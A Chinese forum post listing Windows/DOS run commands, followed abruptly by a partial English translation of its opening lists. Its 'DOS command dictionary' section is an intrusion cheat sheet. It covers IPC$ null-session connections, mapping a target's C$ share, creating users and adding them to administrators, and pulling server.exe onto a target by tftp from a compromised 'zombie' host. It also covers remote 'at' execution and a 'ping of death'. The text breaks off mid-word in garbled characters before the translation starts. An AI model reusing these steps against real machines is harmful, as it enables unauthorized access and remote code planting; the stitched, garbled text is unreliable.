『楼 主』:
《dos命令总结》
使用 LLM 解释/回答一下
winver 检查Windows版本
wmimgmt.msc 打开Windows管理体系结构(wmi)
wupdmgr Windows更新程序
wscript Windows脚本宿主设置
write 写字板
winmsd 系统信息
wiaacmgr 扫描仪和照相机向导
winchat xp自带局域网聊天
mem.exe 显示内存使用情况
msconfig.exe 系统配置实用程序
mplayer2 简易widnows media player
mspaint 画图板
mstsc 远程桌面连接
mplayer2 媒体播放机
magnify 放大镜实用程序
mmc 打开控制台
mobsync 同步命令
dxdiag 检查directx信息
drwtsn32 系统医生
devmgmt.msc 设备管理器
dfrg.msc 磁盘碎片整理程序
diskmgmt.msc 磁盘管理实用程序
dcomcnfg 打开系统组件服务
ddeshare 打开dde共享设置
dvdplay dvd播放器
net stop messenger 停止信使服务
net start messenger 开始信使服务
notepad 打开记事本
nslookup 网络管理的工具向导
ntbackup 系统备份和还原
narrator 屏幕“讲述人”
ntmsmgr.msc 移动存储管理器
ntmsoprq.msc 移动存储管理员操作请求
netstat -an (tc)命令检查接口
syncapp 创建一个公文包
sysedit 系统配置编辑器
sigverif 文件签名验证程序
sndrec32 录音机
shrpubw 创建共享文件夹
secpol.msc 本地安全策略
syskey 系统加密,一旦加密就不能解开,保护Windows xp系统的双重密码
services.msc 本地服务设置
sndvol32 音量控制程序
sfc.exe 系统文件检查器
sfc /scannow windows文件保护 tsshutdn 60秒倒计时关机命令
tourstart xp简介(安装完成后出现的漫游xp程序)
taskmgr 任务管理器
eventvwr 事件查看器
eudcedit 造字程序
explorer 打开资源管理器
packager 对象包装程序
perfmon.msc 计算机性能监测程序
progman 程序管理器
regedit.exe 注册表
rsop.msc 组策略结果集
regedt32 注册表编辑器
rononce -p 15秒关机
regsvr32 /u *.dll 停止dll文件运行
regsvr32 /u zipfldr.dll 取消zip支持
cmd.exe cmd命令提示符
chkdsk.exe chkdsk磁盘检查
certmgr.msc 证书管理实用程序
calc 启动计算器
charmap 启动字符映射表
cliconfg sql server 客户端网络实用程序
clipbrd 剪贴板查看器
conf 启动netmeeting
compmgmt.msc 计算机管理
cleanmgr 垃圾整理
ciadv.msc 索引服务程序
osk 打开屏幕键盘
odbcad32 odbc数据源管理器
oobe/msoobe /a 检查xp是否激活
lusrmgr.msc 本机用户和组
logoff 注销命令
iexpress 木马捆绑工具,系统自带
nslookup ip地址侦测器
fsmgmt.msc 共享文件夹管理器
utilman 辅助工具管理器
gpedit.msc 组策略
以下为Windows操作系统的常用运行命令,执行这些命令,就能打开系统对应的相关实用程序,如果大家能基本利用,就能检查并修复系统的最基本的故障,除注销,关闭系统命令外,其它所有命令,大家不妨一试!!
运行\输入CMD\输入 对应的相关实用程序:
. 打开C:\Documents and Settings\XXX(当前登录Windows XP的用户名)
.. 打开Windows XP所在的盘符下的Documents and Settings文件夹
... 打开“我的电脑”选项。
accwiz.exe 辅助工具向导
actmovie.exe 直接显示安装工具
append.exe 允许程序打开制定目录中的数据
arp.exe 显示和更改计算机的IP与硬件物理地址的对应列表
at.exe 计划运行任务
atmadm.exe ATM调用管理器统计
attrib.exe 显示和更改文件和文件夹属性
autochk.exe 检测修复文件系统 (XP不可用)
autoconv.exe 在启动过程中自动转化系统 (XP不可用)
autofmt.exe 在启动过程中格式化进程 (XP不可用)
autolfn.exe 使用长文件名格式 (XP不可用)
arp.exe 显示和更改计算机的IP与硬件物理地址的对应
calc.exe 计算器
Bootvrfy.exe 通报启动成功
cacls.exe 显示和编辑ACL
cdplayer.exe CD播放器
change.exe 与终端服务器相关的查询 (XP不可用)
charmap.exe 字符映射表
chglogon.exe 启动或停用会话记录 (XP不可用)
chgport.exe 改变端口(终端服务) (XP不可用)
chgusr.exe 改变用户(终端服务) (XP不可用)
chkdsk.exe 磁盘检测程序
chkntfs.exe NTFS磁盘检测程序
cidaemon.exe 组成Ci文档服务
cipher.exe 在NTFS上显示或改变加密的文件或目录
cisvc.exe 打开索引内容
ckcnv.exe 变换Cookie
cleanmgr.exe 磁盘清理
cliconfg.exe SQL客户网络工具
clipbrd.exe 剪贴簿查看器
clipsrv.exe 运行Clipboard服务
clspack.exe 建立系统文件列表清单
cluster.exe 显示域的集群 (XP不可用)
cmd.exe 进2000\XP DOS
cmdl32.exe 自动下载连接管理
cmmgr32.exe 连接管理器
cmmon32.exe 连接管理器监视
cmstp.exe 连接管理器配置文件安装程序
comclust.exe 集群
comp.exe 比较两个文件和文件集的内容
conf 启动netmeeting聊天工具
control userpasswords2 XP密码管理.
compmgmt.msc 计算机管理
cprofile.exe 转换显示模式 (XP不可用)
开始,运行,输入CMD\输入net config workstation计算机名 \完整的计算机名\用户名
工作站处于活动状态(即网络描述) \软件版本(即软件版本号) \工作站域 工作站域的 DNS 名称
登录域 \COM 打开时间超时(秒) \COM 发送量(字节) \COM 发送超时 (msec)
CMD\输入net config workstation 更改可配置工作站服务设置。
CMD\输入net config server 可以显示不能配置的下服务器计算机名 \服务器注释 \服务器版本(即软件版本号)
服务器处于活动状态(即网络描述) \服务器处于隐藏状态(即 /hidden 设置)
最大登录用户数(即可使用服务器共享资源的最大用户数)
每个会话打开文件的最大数(即用户可在一个会话中打开服务器文件的最大数)
空闲会话时间(最小值)
chkdsk.exe 磁盘检查.
Chkdsk /r 2000命令控制台中的Chkdsk /r命令检查修复系统文件
cleanmgr 垃圾整理
Clipbrd 剪贴板查看器
C:boot.ini 打开启动菜单
compact.exe 显示或改变NTFS分区上文件的压缩状态
conime.exe IME控制台
control.exe 控制面板
convert.exe NTFS 转换文件系统到NTFS
convlog.exe 转换IIS日志文件格式到NCSA格式
cprofile.exe 转换显示模式
cscript.exe 较本宿主版本
csrss.exe 客户服务器Runtime进程 (XP不可用)
csvde.exe 格式转换程序 (XP不可用)
dcpromo 活动目录安装(XP不可用)
drwtsn32 系统医生
diskmgmt.msc 磁盘管理器(和PowerQuest PartitionMagic 8.0)
dvdplay DVD 播放器
devmgmt.msc 设备管理器(检查电脑硬件,驱动)
dxdiag 检查DirectX信息
dcomcnfg.exe DCOM配置属性 (控制台根目录)
dcpromo.exe 安装向导 (XP不可用)
ddeshare.exe DDE共享
debug.exe 检查DEBUG
dfrgfat.exe FAT分区磁盘碎片整理程序
dfrgntfs.exe NTFS分区磁盘碎片整理程序 (XP不可用)
dfs_cmd_.exe 配置DFS树 (XP不可用)
dfsinit.exe 分布式文件系统初始化(XP不可用)
dfssvc.exe 分布式文件系统服务器 (XP不可用)
diantz.exe 制作CAB文件
diskperf.exe 磁盘性能计数器
dmremote.exe 磁盘管理服务的一部分 (XP不可用)
doskey.exe 命令行创建宏
dosx.exe DOS扩展
dplaysvr.exe 直接运行帮助 (XP不可用)
drwatson.exe 华生医生错误检测
drwtsn32.exe 华生医生显示和配置管理
dvdplay.exe DVD播放
dxdiag.exe Direct-X诊断工具
edlin.exe 命令行的文本编辑
esentutl.exe MS数据库工具
eudcedit.exe 造字程序
eventvwr.exe 事件查看器
exe2bin.exe 转换EXE文件到二进制
expand.exe 解压缩
extrac32.exe 解CAB工具
fsmgmt.msc 共享文件夹
fastopen.exe 快速访问在内存中的硬盘文件
faxcover.exe 传真封面编辑
faxqueue.exe 显示传真队列
faxsend.exe 发送传真向导
faxsvc.exe 启动传真服务
fc.exe 比较两个文件的不同
find.exe 查找文件中的文本行
findstr.exe 查找文件中的行
finger.exe 一个用户并显示出统计结果
fixmapi.exe 修复MAPI文件
flattemp.exe 允许或者禁用临时文件目录 (XP不可用)
fontview.exe 显示字体文件中的字体
forcedos.exe 强制文件在DOS模式下运行
ftp.exe FTP下载
gpedit.msc 组策略
gdi.exe 图形界面驱动
grpconv.exe 转换程序管理员组
hostname.exe 显示机器的Hostname
Internat 输入法图标
iexpress 木马捆绑工具,系统自带
ieshwiz.exe 自定义文件夹向导
iexpress.exe iexpress安装包
iisreset.exe 重启IIS服务(未安装IIS,不可用)
internat.exe 键盘语言指示器 (XP不可用)
ipconfig.exe 查看IP配置
ipsecmon.exe IP安全监视器
ipxroute.exe IPX路由和源路由控制程序
irftp.exe 无线连接
ismserv.exe 安装或者删除Service Control Manager中的服务
jdbgmgr.exe Java4的调试器
jetconv.exe 转换Jet Engine数据库 (XP不可用)
jetpack.exe 压缩Jet数据库 (XP不可用)
jview.exe Java的命令行装载者
label.exe 改变驱动器的卷标
lcwiz.exe 许可证向导 (XP不可用)
ldifde.exe LDIF目录交换命令行管理 (XP不可用)
licmgr.exe 终端服务许可协议管理 (XP不可用)
lights.exe 显示连接状况 (XP不可用)
llsmgr.exe Windows 2000 许可协议管理 (XP不可用)
llssrv.exe 启动许可协议服务器 (XP不可用)
locator.exe RPC Locator 远程定位
lodctr.exe 调用性能计数
logoff.exe 注销当前用户
lpq.exe 显示远端的LPD打印队列的状态,显示被送到基于Unix的服务器的打印任务
lpr.exe 用于Unix客户打印机将打印任务发送给连接了打印设备的NT的打印机服务器。
lsass.exe 运行LSA和Server的DLL
lserver.exe 指定默认Server新的DNS域 (XP不可用)
lusrmgr.msc 本地账户管理
mmc 控制台
mplayer2 播放器
macfile.exe 管理MACFILES (XP不可用)
magnify.exe 放大镜
makecab.exe 制作CAB文件
mem.exe 显示内存状态
migpwd.exe 迁移密码
mmc.exe 控制台
mnmsrvc.exe 远程桌面共享
mobsync.exe 同步目录管理器
mountvol.exe 创建、删除或列出卷的装入点。
mplay32.exe Media Player 媒体播放器
mpnotify.exe 通知应用程序
mqbkup.exe 信息队列备份和恢复工具
mqmig.exe MSMQ Migration Utility 信息队列迁移工具
mrinfo.exe 使用SNMP多点传送路由
mscdexnt.exe 安装MSCD
msdtc.exe 动态事务处理控制台
msg.exe 发送消息到本地或远程客户
mshta.exe HTML应用程序主机
msiexec.exe 开始Windows安装程序
mspaint.exe 打开画图板
mstask.exe 任务计划表程序
mstinit.exe 任务计划表安装
Msconfig.exe 系统配置实用程序 (配置启动选项,服务项)
mem.exe 显示内存使用情况
mspaint 画图板
Net Stop Messenger 停止信使服务
Net Start Messenger 恢复信使服务
nslookup 网络管理的工具
Nslookup IP 地址侦测器
ntbackup 系统备份和还原
nbtstat.exe 使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。
nddeapir.exe NDDE API服务器端
netsh.exe 用于配置和监控 Windows 2000 命令行脚本接口(XP不可用)
netstat.exe 显示协议统计和当前的 TCP/IP 网络连接。
nlsfunc.exe 加载特定国家的信息。Windows 2000 和 MS-DOS 子系统不使用该命令接受该命令只是为了与 MS-DOS 文件兼容。
notepad.exe 打开记事本
nslookup.exe 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。
ntbackup.exe 备份和故障修复工具
ntfrs.exe NT文件复制服务 (XP不可用)
ntvdm.exe 模拟16位Windows环境
nw16.exe NetWare转向器
nwscript.exe 运行Netware脚本
odbcad32.exe 32位ODBC数据源管理 (驱动程序管理)
odbcconf.exe 命令行配置ODBC驱动和数据源
packager.exe 对象包装程序
pathping.exe 包含Ping和Tracert的程序
pentnt.exe 检查Pentium的浮点错误
perfmon.exe 系统性能监视器
ping.exe 验证与远程计算机的连接
posix.exe 用于兼容Unix
print.exe 打印文本文件或显示打印队列的内容。
progman.exe 程序管理器
psxss.exe Posix子系统应用程序
qappsrv.exe 在网络上显示终端服务器可用的程序
qprocess.exe 在本地或远程显示进程的信息(需终端服务)
query.exe 查询进程和对话 (XP不可用)
quser.exe 显示用户登陆的信息(需终端服务)
qwinsta.exe 显示终端服务的信息
rononce -p 15秒关机
rasAdmin 远程访问服务.
regedit.exe 注册表编辑器
rasadmin.exe 启动远程访问服务 (XP不可用)
rasautou.exe 建立一个RAS连接
rasdial.exe 宽带,拨号连接
ras.exe 运行RAS连接 (XP不可用)
rcp.exe 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件
rdpclip.exe 终端和本地复制和粘贴文件
recover.exe 从坏的或有缺陷的磁盘中恢复可读取的信息。
redir.exe 运行重定向服务
regedt32.exe 32位注册服务
regini.exe 用脚本修改注册许可
regwiz.exe 注册向导
replace.exe 用源目录中的同名文件替换目标目录中的文件。
rexec.exe rexec 命令在执行指定命令前,验证远程计算机上的用户名,只有安装了 TCP/IP 协议后才可以使用该命令。
risetup.exe 运行远程安装向导服务 (XP不可用)
route.exe 控制网络路由表
rsh.exe 在运行 RSH 服务的远程计算机上运行命令
rsnotify.exe 远程存储通知回显
runas.exe 允许用户用其他权限运行指定的工具和程序
rundll32.exe 启动32位DLL程序
rwinsta.exe 重置会话子系统硬件和软件到最初的值
Sndvol32 音量控制程序
sfc.exe 或CMD\ sfc.exe 回车 系统文件检查器
services.msc 网络连接服务
syskey 系统加密,(一旦加密就不能解开,保护windows xp系统的双重密码wupdmgr WIDNOWS UPDATE)
SCANREG/RESTORE 命令恢复最近的注册表
secedit.exe 自动化安全性配置管理
services.exe 控制所有服务
sethc.exe 设置高对比
setver.exe 设置 MS-DOS 子系统向程序报告的 MS-DOS 版本号
sfc.exe 系统文件检查
shadow.exe 监控另外一台中端服务器会话
shrpubw.exe 建立和共享文件夹
sigverif.exe 文件签名验证
smlogsvc.exe 性能日志和警报 (XP不可用)
sndrec32.exe 录音机
sndvol32.exe 显示声音控制信息
snmp.exe 简单网络管理协议 (XP不可用)
snmptrap.exe SNMP工具 (XP不可用)
srvmgr.exe 服务器管理器 (XP不可用)
subst.exe 将路径与驱动器盘符关联
sysedit.exe 系统配置编辑器
syskey.exe NT账号数据库加密工具
sysocmgr.exe > Windows 安装程序
systray.exe 在低权限运行systray
taskmgr 任务管理器
tasklist /svc(CMD)了解每个SVCHOST进程到底提供了多少系统服务(2000\98不可用)
tlist -S(CMD) 了解每个SVCHOST进程到底提供了多少系统服务(
taskman.exe 任务管理器 (XP不可用)
taskmgr.exe 任务管理器
tcmsetup.exe 电话服务客户安装
tcpsvcs.exe TCP服务
termsrv.exe 终端服务
tftp.exe 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件
themes.exe 桌面主题 (XP不可用)
tlntadmn.exe Administrator Telnet服务管理
tlntsess.exe 显示目前的Telnet会话
tlntsvr.exe 开始Telnet服务
tracert.exe 诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标采用的路由
tsadmin.exe Administrator 终端服务管理器 (XP不可用)
tscon.exe 粘贴用户会话到终端对话
tsdiscon.exe 断开终端服务的用户
tskill.exe 杀掉终端服务
tsprof.exe 用终端服务得出查询结果
tsshutdn.exe 关闭系统
unlodctr.exe 性能监视器的一部分
upg351db.exe 升级Jet数据库 (XP不可用)
ups.exe UPS service UPS服务
user.exe Windows核心服务
userinit.exe 打开我的文档
usrmgr.exe 域用户管理器
utilman.exe 指定2000启动时自动打开那台机器
vwipxspx.exe 调用IPX/SPX VDM
w32tm.exe 时间服务器
wextract.exe 解压缩Windows文件
winchat.exe 打开Windows聊天工具
winhlp32.exe 运行帮助系统
winmsd.exe 查看系统信息
winver.exe 显示Windows版本
wizmgr.exe Windows管理向导 (XP不可用)
wjview.exe Java 命令行调用Java
write.exe 打开写字板
wscript.exe 脚本工具
wupdmgr.exe Windows update 运行Windows update升级向导
winver 检查Windows版本
Win98系统工具
开始,运行,输入Msconfig 系统配置实用工具 配置启动选项,包括config.sys、autoexec.bat、win.ini、system.ini和注册表及程序菜单中的启动项。并可设置是否故障启动。
开始,运行,输入Regedit 注册表修改工具 注册表编辑器,如果没有把握不要随意修改注册表!
开始,运行,输入Regsvr32 dll注册工具 当提示找不到dll文件时,可用此来注册该动态连接库。
开始,运行,输入Regwiz 注册向导 用于注册。校验系统文件,并可恢复系统文件。
如果启动时出现类似*.vxd文件错误,可用此恢复该vxd文件。
开始,运行,输入Scandskw 磁盘扫描程序,用于扫描修复磁盘。如果磁盘或文件出现错误,可用来初步修复。
开始,运行,输入DxDiag DirectX诊断工具可用于检测DirectX运行是否正常。
开始,运行,输入NETSCAPE
ESC:清除当前命令行;
F7:显示命令历史记录,以图形列表窗的形式给出所有曾经输入的命令,并可用上下箭头键选择再次执行该命令。
F8:搜索命令的历史记录,循环显示所有曾经输入的命令,直到按下回车键为止;
F9:按编号选择命令,以图形对话框方式要求您输入命令所对应的编号(从0开始),并将该命令显示在屏幕上;
Ctrl+H:删除光标左边的一个字符;
Ctrl+C Ctrl+Break,强行中止命令执行;
Ctrl+M:表示回车确认键;
Alt+F7:清除所有曾经输入的命令历史记录;
Alt+PrintScreen:截取屏幕上当前命令窗里的内容。
病毒破坏了系统文件,请使用杀毒软件查杀病毒,然后利用Windows 2000提供的“命令控制台”中的Chkdsk /r命令检查修复系统文件即可
DOS命令字典..收藏
net use \ip\ipc$ " " /user:" " 建立IPC空链接
net use \ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \ip\c$ 登陆后映射对方C:到本地为H:
net use \ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \目标ip 查看对方时间
net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc
net share ipc$ /del 删除ipc
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \ip\***$ 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \ip\***$\svv.exe c:\ 或:copy\ip\***$\*.* 复制对方***i.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字?/ca>
winver Check Windows version
wmimgmt.msc Open Windows Management Architecture (WMI)
wupdmgr Windows Update program
wscript Windows Script Host settings
write WordPad
winmsd System Information
wiaacmgr Scanner and Camera Wizard
winchat XP's built-in LAN chat
mem.exe Show memory usage
msconfig.exe System Configuration Utility
mplayer2 Simple Windows Media Player
mspaint Paint
mstsc Remote Desktop Connection
mplayer2 Media Player
magnify Magnifier utility
mmc Open Console
mobsync Sync command
dxdiag Check DirectX information
drwtsn32 System Doctor
devmgmt.msc Device Manager
dfrg.msc Disk Defragmenter
diskmgmt.msc Disk Management Utility
dcomcnfg Open System Component Services
ddeshare Open DDE Sharing Settings
dvdplay DVD Player
net stop messenger Stop Messenger service
net start messenger Start Messenger service
notepad Open Notepad
nslookup Network Management Tool Wizard
ntbackup System Backup and Restore
narrator Screen "Narrator"
ntmsmgr.msc Removable Storage Manager
ntmsoprq.msc Removable Storage Administrator Operation Request
netstat -an (TC) command to check interface
syncapp Create a Briefcase
sysedit System Configuration Editor
sigverif File Signature Verification Program
sndrec32 Recorder
shrpubw Create Shared Folder
secpol.msc Local Security Policy
syskey System encryption, once encrypted, it cannot be decrypted, protecting the dual password of Windows XP system
services.msc Local Service Settings
sndvol32 Volume Control Program
sfc.exe System File Checker
sfc /scannow Windows File Protection tsshutdn 60-second countdown shutdown command
tourstart XP Introduction (Roaming XP program that appears after installation)
taskmgr Task Manager
eventvwr Event Viewer
eudcedit Character Creation Program
explorer Open Explorer
packager Object Packager
perfmon.msc Computer Performance Monitor
progman Program Manager
regedit.exe Registry
rsop.msc Group Policy Result Set
regedt32 Registry Editor
rononce -p 15-second shutdown
regsvr32 /u *.dll Stop DLL file running
regsvr32 /u zipfldr.dll Disable zip support
cmd.exe CMD Command Prompt
chkdsk.exe Chkdsk Disk Check
certmgr.msc Certificate Management Utility
calc Start Calculator
charmap Start Character Map
cliconfg SQL Server Client Network Utility
clipbrd Clipboard Viewer
conf Start NetMeeting
compmgmt.msc Computer Management
cleanmgr Disk Cleanup
ciadv.msc Indexing Service Program
osk Open On-Screen Keyboard
odbcad32 ODBC Data Source Administrator
oobe/msoobe /a Check if XP is activated
lusrmgr.msc Local Users and Groups
logoff Logoff Command
iexpress Trojan bundling tool, built into the system
nslookup IP Address Detector
fsmgmt.msc Shared Folder Manager
utilman Accessibility Tools Manager
gpedit.msc Group Policy
The following are common run commands for the Windows operating system. Executing these commands will open the corresponding related utilities of the system. If everyone can basically use them, they can check and repair the most basic faults of the system. Except for the logoff and shutdown commands, everyone might as well give it a try!!
Run\Enter CMD\Enter corresponding related utilities:
. Open C:\Documents and Settings\XXX (current logged-in Windows XP username)
.. Open the Documents and Settings folder under the drive letter where Windows XP is located
... Open the "My Computer" option.
accwiz.exe Accessibility Wizard
actmovie.exe Direct Display Installation Tool
append.exe Allows the program to open data in the specified directory
arp.exe Display and change the corresponding list of the computer's IP and hardware physical address
at.exe Schedule Running Tasks
atmadm.exe ATM Call Manager Statistics
attrib.exe Display and change file and folder attributes
autochk.exe Detect and repair file system (not available in XP)
autoconv.exe Automatically convert the system during startup (not available in XP)
autofmt.exe Format process during startup (not available in XP)
autolfn.exe Use long filename format (not available in XP)
arp.exe Display and change the computer's IP and hardware physical address correspondence
calc.exe Calculator
Bootvrfy.exe Report successful startup
cacls.exe Display and edit ACL
cdplayer.exe CD Player
change.exe Related queries to Terminal Server (not available in XP)
charmap.exe Character Map
chglogon.exe Start or stop session logging (not available in XP)
chgport.exe Change port (Terminal Services) (not available in XP)
chgusr.exe Change user (Terminal Services) (not available in XP)
chkdsk.exe Disk Check Program
chkntfs.exe NTFS Disk Check Program
cidaemon.exe Compose Ci Document Service
cipher.exe Display or change encrypted files or directories on NTFS
cisvc.exe Open Indexed Content
ckcnv.exe Transform Cookie
cleanmgr.exe Disk Cleanup
cliconfg.exe SQL Client Network Tool
clipbrd.exe Clipboard Viewer
clipsrv.exe Run Clipboard Service
clspack.exe Build System File List Manifest
cluster.exe Display domain clusters (not available in XP)
cmd.exe Enter 2000\XP DOS
cmdl32.exe Automatic Download Connection Management
cmmgr32.exe Connection Manager
cmmon32.exe Connection Manager Monitor
cmstp.exe Connection Manager Profile Installer
comclust.exe Cluster
comp.exe Compare the contents of two files and file sets
conf Start NetMeeting Chat Tool
control userpasswords2 XP Password Management.
compmgmt.msc Computer Management
cprofile.exe Convert Display Mode (not available in XP)
Start, Run, Enter CMD\Enter net config workstation Computer name \Full computer name\Username
Workstation is active (i.e., network description) \Software version (i.e., software version number) \Workstation domain DNS name of the workstation
Login domain \COM open time-out (seconds) \COM send amount (bytes) \COM send time-out (msec)
CMD\Enter net config workstation Change configurable workstation service settings.
CMD\Enter net config server Can display non-configurable next server computer name \Server comment \Server version (i.e., software version number)
Server is active (i.e., network description) \Server is hidden (i.e., /hidden setting)
Maximum number of logged-in users (i.e., maximum number of users who can use server shared resources)
Maximum number of files opened per session (i.e., maximum number of files that a user can open on a server in one session)
Idle session time (minimum)
chkdsk.exe Disk Check.
Chkdsk /r The Chkdsk /r command in the 2000 command console checks and repairs system files
cleanmgr Disk Cleanup
Clipbrd Clipboard Viewer
C:boot.ini Open Boot Menu
compact.exe Display or change the compression status of files on the NTFS partition
conime.exe IME Console
control.exe Control Panel
convert.exe NTFS Convert file system to NTFS
convlog.exe Convert IIS log file format to NCSA format
cprofile.exe Convert Display Mode
cscript.exe Script Host Version
csrss.exe Client Server Runtime Process (not available in XP)
csvde.exe Format Conversion Program (not available in XP)
dcpromo Active Directory Installation (not available in XP)
drwtsn32 System Doctor
diskmgmt.msc Disk Manager (and PowerQuest PartitionMagic 8.0)
dvdplay DVD Player
devmgmt.msc Device Manager (Check computer hardware, drivers)
dxdiag Check DirectX Information
dcomcnfg.exe DCOM Configuration Properties (Console Root)
dcpromo.exe Installation Wizard (not available in XP)
ddeshare.exe DDE Sharing
debug.exe Check DEBUG
dfrgfat.exe FAT Partition Disk Defragmenter
dfrgntfs.exe NTFS Partition Disk Defragmenter (not available in XP)
dfs_cmd_.exe Configure DFS Tree (not available in XP)
dfsinit.exe Distributed File System Initialization (not available in XP)
dfssvc.exe Distributed File System Server (not available in XP)
diantz.exe Make CAB File
diskperf.exe Disk Performance Counter
dmremote.exe Part of Disk Management Service (not available in XP)
doskey.exe Create Macro at Command Line
dosx.exe DOS Extension
dplaysvr.exe Direct Run Help (not available in XP)
drwatson.exe Watson Doctor Error Detection
drwtsn32.exe Watson Doctor Display and Configuration Management
dvdplay.exe DVD Playback
dxdiag.exe Direct-X Diagnostic Tool
edlin.exe Text Editing at Command Line
esentutl.exe MS Database Tool
eudcedit.exe Character Creation Program
eventvwr.exe Event Viewer
exe2bin.exe Convert EXE File to Binary
expand.exe Extract Compressed Files
extrac32.exe Extract CAB Tool
fsmgmt.msc Shared Folder
fastopen.exe Fast Access to Hard Disk Files in Memory
faxcover.exe Fax Cover Sheet Editor
faxqueue.exe Display Fax Queue
faxsend.exe Send Fax Wizard
faxsvc.exe Start Fax Service
fc.exe Compare Differences Between Two Files
find.exe Find Text Lines in Files
findstr.exe Find Lines in Files
finger.exe A user and display statistics
fixmapi.exe Repair MAPI File
flattemp.exe Allow or Disable Temporary File Directory (not available in XP)
fontview.exe Display Fonts in Font File
forcedos.exe Force File to Run in DOS Mode
ftp.exe FTP Download
gpedit.msc Group Policy
gdi.exe Graphics Interface Driver
grpconv.exe Convert Program Administrator Group
hostname.exe Display Machine's Hostname
Internat Input Method Icon
iexpress Trojan Bundling Tool, Built into the System
ieshwiz.exe Custom Folder Wizard
iexpress.exe iexpress Installation Package
iisreset.exe Restart IIS Service (Not Available if IIS is Not Installed)
internat.exe Keyboard Language Indicator (not available in XP)
ipconfig.exe View IP Configuration
ipsecmon.exe IP Security Monitor
ipxroute.exe IPX Routing and Source Routing Control Program
